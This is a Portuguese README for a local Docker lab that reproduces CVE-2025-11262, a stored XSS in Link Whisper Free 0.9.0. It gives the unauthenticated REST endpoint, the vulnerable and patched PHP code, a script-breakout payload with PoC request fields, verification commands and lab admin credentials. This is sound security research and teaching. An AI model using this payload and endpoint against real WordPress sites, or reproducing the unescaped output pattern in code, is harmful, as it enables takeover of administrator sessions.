
Laboratório Docker para reproduzir o CVE-2025-11262, um XSS cego armazenado não autenticado no plugin Link Whisper Free para WordPress. Inclui alvos vulneráveis e corrigidos, script PoC e análise de causa raiz.
Este repositório contém um laboratório Docker local para reproduzir a CVE-2025-11262, uma vulnerabilidade de cross-site scripting armazenado não autenticado que afeta o plugin WordPress Link Whisper Free.
O laboratório compara duas versões do plugin:
| Serviço | Versão do plugin | Finalidade | URL |
|---|
vuln | 0.9.0 | Alvo vulnerável | http://127.0.0.1:8081 |
patched | 0.9.1 | Alvo corrigido para comparação | http://127.0.0.1:8082 |
A cadeia de vulnerabilidade demonstrada é:
Requisição REST não autenticada
→ user_id controlado pelo atacante é persistido
→ um usuário privilegiado do WordPress abre a página de Assinatura AI do Link Whisper
→ o valor armazenado é renderizado em um contexto JavaScript do admin
→ alert("CVE-2025-11262-LAB") é executado na versão vulnerável
O atacante não precisa estar logado para plantar o payload armazenado. O JavaScript é executado posteriormente quando um usuário privilegiado do WordPress abre a página de administração afetada.
Este laboratório foi projetado apenas para pesquisa local controlada, entendimento do código-fonte e demonstração de portfólio.
| Afirmação | Evidência | Como verificar neste laboratório |
|---|---|---|
Link Whisper Free 0.9.0 é vulnerável. | Avisos públicos identificam Link Whisper Free até a versão 0.9.0 inclusive como afetada. | Execute o PoC contra http://127.0.0.1:8081 e abra a URL de administração impressa. |
Link Whisper Free 0.9.1 contém a correção. | Aviso público e dados de changelog identificam 0.9.1 como a versão corrigida. | Execute o mesmo PoC contra http://127.0.0.1:8082; nenhum alerta deve aparecer. |
| O plantio do payload é não autenticado. | O PoC envia uma requisição POST sem cookies, login ou nonce do WordPress. | Inspecione poc/poc.py; ele só requer --url. |
| O impacto visível é acionado na área de administração do WordPress. | O valor armazenado é renderizado quando a página de Assinatura AI do Link Whisper é aberta por um usuário privilegiado. | Após executar o PoC, faça login como admin e abra a URL de administração impressa. |
O alvo corrigido ainda pode retornar "ok" na camada HTTP. | Testes locais mostraram que ambos os alvos podem retornar "ok"; a diferença significativa é se o payload é persistido e executado. | Compare o comportamento do navegador em 8081 e 8082. |
Este é o resumo da Causa Raiz para substituir no README. É publicamente seguro, não menciona arquivos internos como vuln_detail.txt e é baseado no laboratório/fonte que você está usando agora.
A CVE-2025-11262 é causada por uma cadeia de injeção de JavaScript armazenado no Link Whisper Free 0.9.0.
O problema não é uma única chamada de escape ausente. É uma cadeia de múltiplos comportamentos inseguros:
Endpoint REST não autenticado
→ validação insuficiente de user_id
→ armazenamento persistente em wpil_ai_access_user_id
→ renderização insegura em um contexto JavaScript do admin
→ XSS armazenado quando um usuário privilegiado abre a página de Assinatura AI
O Link Whisper Free registra um endpoint REST de autenticação AI sob o namespace REST do plugin:
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';
O endpoint é registrado como uma rota POST:
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
'methods' => 'POST',
'callback' => [
$this,
'ai_auth_handler'
],
'permission_callback' => "__return_true",
'show_in_index' => false
]);
Como o callback de permissão é __return_true, o endpoint é acessível sem autenticação.
No laboratório, o endpoint efetivo é:
/wp-json/link-whisper/ai-auth
Isso significa que um atacante não autenticado pode enviar uma requisição ao endpoint sem uma sessão WordPress, nonce ou conta de administrador.
No Link Whisper Free 0.9.0, o manipulador lê parâmetros controlados pelo atacante da requisição REST:
public function ai_auth_handler( WP_REST_Request $request )
{
if(!empty($request->get_param('access_token'))){
$token = $request->get_param('access_token');
$user_id = $request->get_param('user_id');
$uid = (int)$request->get_param('uid');
$uemail = $request->get_param('uemail');
if(!empty($token) && false !== strpos($token, 'ai-')){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', $uemail);
update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
update_option('wpil_ai_access_authorized', true);
}
return 'ok';
}
return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}
O comportamento vulnerável é a condição de validação fraca:
if(!empty($token) && false !== strpos($token, 'ai-')){
Isso apenas verifica se o token de acesso fornecido contém a string ai-.
Não há validação rigorosa de user_id antes de ser armazenado:
update_option('wpil_ai_access_user_id', $user_id);
Como resultado, JavaScript controlado pelo atacante pode ser persistido na tabela de opções do WordPress.
O valor user_id controlado pelo atacante é armazenado na opção do WordPress:
wpil_ai_access_user_id
Neste laboratório, o PoC envia o seguinte payload local:
</script><script>alert("CVE-2025-11262-LAB")</script>
No serviço vulnerável, o payload é armazenado como o valor de wpil_ai_access_user_id.
O atacante não precisa estar logado para plantar o payload. O payload é plantado através do endpoint REST não autenticado.
O valor armazenado é posteriormente recuperado através da lógica de configurações do plugin:
public static function get_linkwhisper_ai_user_id(){
return get_option('wpil_ai_access_user_id', '');
}
O valor é atribuído a $ai_id e renderizado na página de administração da Assinatura AI.
No Link Whisper Free 0.9.0, o valor é inserido diretamente em uma string JavaScript:
body: JSON.stringify({
ai_id: "<?php echo $ai_id;?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})
Como $ai_id não é escapado antes de ser inserido no contexto JavaScript, um payload armazenado pode quebrar a string pretendida e executar JavaScript quando a página de administração for aberta.
Com o payload do laboratório, a saída vulnerável renderizada torna-se equivalente a:
body: JSON.stringify({
ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
subscription_id: ""
})
Em um navegador, a tag </script> injetada termina o bloco de script original, e o bloco <script> injetado é executado.
O payload é plantado por um atacante não autenticado, mas a execução requer que um usuário privilegiado do WordPress abra a página de administração afetada:
/wp-admin/admin.php?page=link_whisper_ai_subscription
Neste laboratório, a página afetada é aberta como administrador do WordPress para acionar o diálogo de alerta.
Isso torna o problema um XSS armazenado não autenticado direcionado a administradores do WordPress autenticados ou usuários privilegiados que podem acessar a página de administração da Assinatura AI do Link Whisper.
O Link Whisper Free 0.9.1 adiciona validação mais rigorosa antes de armazenar os valores de autenticação AI.
O manipulador corrigido exige que o token e o ID do usuário correspondam a formatos estritos:
if(
!empty($token) &&
false !== strpos($token, 'ai-') &&
(bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
(bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', sanitize_email($uemail));
update_option('wpil_ai_access_authorized', true);
}
A validação importante adicionada para user_id é:
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
Isso impede que JavaScript arbitrário seja armazenado como o ID do usuário AI.
A versão 0.9.1 também escapa o valor antes de renderizá-lo no contexto JavaScript:
body: JSON.stringify({
ai_id: "<?php echo esc_attr($ai_id);?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})
A correção, portanto, mitiga o problema em dois pontos:
Validação de entrada antes da persistência
Escapamento de saída antes da renderização JavaScript
O laboratório confirma a diferença entre 0.9.0 e 0.9.1.
No Link Whisper Free 0.9.0:
POST /wp-json/link-whisper/ai-auth
→ retorna "ok"
→ armazena o payload em wpil_ai_access_user_id
→ abrir a página de administração da Assinatura AI aciona alert("CVE-2025-11262-LAB")
No Link Whisper Free 0.9.1:
POST /wp-json/link-whisper/ai-auth
→ pode ainda retornar "ok"
→ não armazena o payload
→ abrir a página de administração da Assinatura AI não aciona alerta
A resposta HTTP sozinha não é suficiente para determinar se o alvo é vulnerável, pois ambas as versões podem retornar "ok". A diferença comportamental significativa é se o payload é persistido e posteriormente renderizado no contexto JavaScript do admin.
O laboratório executa duas instâncias WordPress isoladas e dois bancos de dados MySQL separados através do Docker Compose.
.
├── docker/
│ └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
└── vuln/
└── Dockerfile
O entrypoint Docker automaticamente:
Credenciais padrão do administrador WordPress para ambos os serviços:
admin / AdminPassw0rd!
Construa e inicie o laboratório:
docker compose down -v
docker compose build --no-cache
docker compose up -d
Verifique os contêineres:
docker compose ps
Serviços expostos esperados:
Alvo vulnerável: http://127.0.0.1:8081
Alvo corrigido: http://127.0.0.1:8082
Você também pode acompanhar os logs de configuração:
docker compose logs vuln patched
Uma configuração bem-sucedida deve mostrar o Link Whisper ativo em cada instância WordPress.
Execute o PoC contra o serviço vulnerável:
python3 poc/poc.py --url http://127.0.0.1:8081
O PoC envia este payload local através do endpoint REST não autenticado:
</script><script>alert("CVE-2025-11262-LAB")</script>
Após o script ser executado, abra a URL de administração impressa em um navegador e faça login com:
admin / AdminPassw0rd!
No serviço vulnerável, o navegador deve exibir um alerta contendo:
CVE-2025-11262-LAB
Para comparação, execute o mesmo PoC contra o serviço corrigido:
python3 poc/poc.py --url http://127.0.0.1:8082
Em seguida, abra a URL de administração impressa para o serviço corrigido. Nenhum alerta deve ser acionado.
Alvo vulnerável:
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
[next step]
Open this URL in a browser and login as the lab administrator:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
Alvo corrigido:
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
A resposta HTTP sozinha não é suficiente para determinar se o alvo é vulnerável. A diferença importante é o comportamento do navegador após o usuário privilegiado abrir a página de administração afetada.

Sugestão de alvo para captura de tela:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
A captura de tela deve mostrar o alerta do navegador com:
CVE-2025-11262-LAB
O PoC é intencionalmente pequeno e requer apenas uma URL alvo:
python3 poc/poc.py --url http://127.0.0.1:8081
Ele envia uma requisição POST para:
/wp-json/link-whisper/ai-auth
com os seguintes campos de formulário:
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id = </script><script>alert("CVE-2025-11262-LAB")</script>
uid = 1
uemail = [email protected]
No serviço vulnerável, o valor armazenado é posteriormente renderizado na página de Assinatura AI. Quando um administrador abre essa página, o JavaScript é executado.
No serviço corrigido, o mesmo payload não deve resultar em um alerta.
Verifique as versões dos plugins:
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper
Verifique se o serviço vulnerável armazenou o payload:
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root
Valor vulnerável esperado:
</script><script>alert("CVE-2025-11262-LAB")</script>
Verifique o serviço corrigido:
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root
Comportamento esperado da correção:
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?
Verifique logs de acesso ao endpoint REST:
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'
Atualize o Link Whisper Free para 0.9.1 ou posterior.
A correção impede que este payload do laboratório seja persistido e renderizado, adicionando validação mais rigorosa e tratamento de saída mais seguro em torno do fluxo de autenticação AI afetado.
Para ambientes de produção, considere também:
Pare e remova contêineres, redes e volumes:
docker compose down -v
Remova imagens construídas localmente, se desejado:
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true
Este laboratório é apenas para pesquisa de segurança local e demonstração controlada.
Não execute o PoC contra sistemas que você não possui ou não tem permissão para testar.
Não use credenciais reais, segredos de produção ou callbacks externos neste laboratório.
O PoC usa intencionalmente um marcador alert() visível para evidência de captura de tela. Não inclui payloads para roubo de credenciais, roubo de sessão, persistência além do laboratório ou ações automatizadas de administrador.
Banco de Dados de Advisories do GitHub: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
https://github.com/advisories/GHSA-7h4c-hr9j-8q85
Wordfence Intelligence: Entrada do banco de dados de vulnerabilidade do Link Whisper Free
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper
Diretório de Plugins do WordPress.org: Link Whisper Free
https://wordpress.org/plugins/link-whisper/
Pacote do plugin WordPress.org usado pelo laboratório vulnerável
https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip
Pacote do plugin WordPress.org usado pelo laboratório corrigido
https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip
Navegador de código-fonte do plugin WordPress: Link Whisper 0.9.0 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php
Navegador de código-fonte do plugin WordPress: Link Whisper 0.9.1 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php
Navegador de código-fonte do plugin WordPress: Link Whisper 0.9.0 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php
Navegador de código-fonte do plugin WordPress: Link Whisper 0.9.1 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Settings.php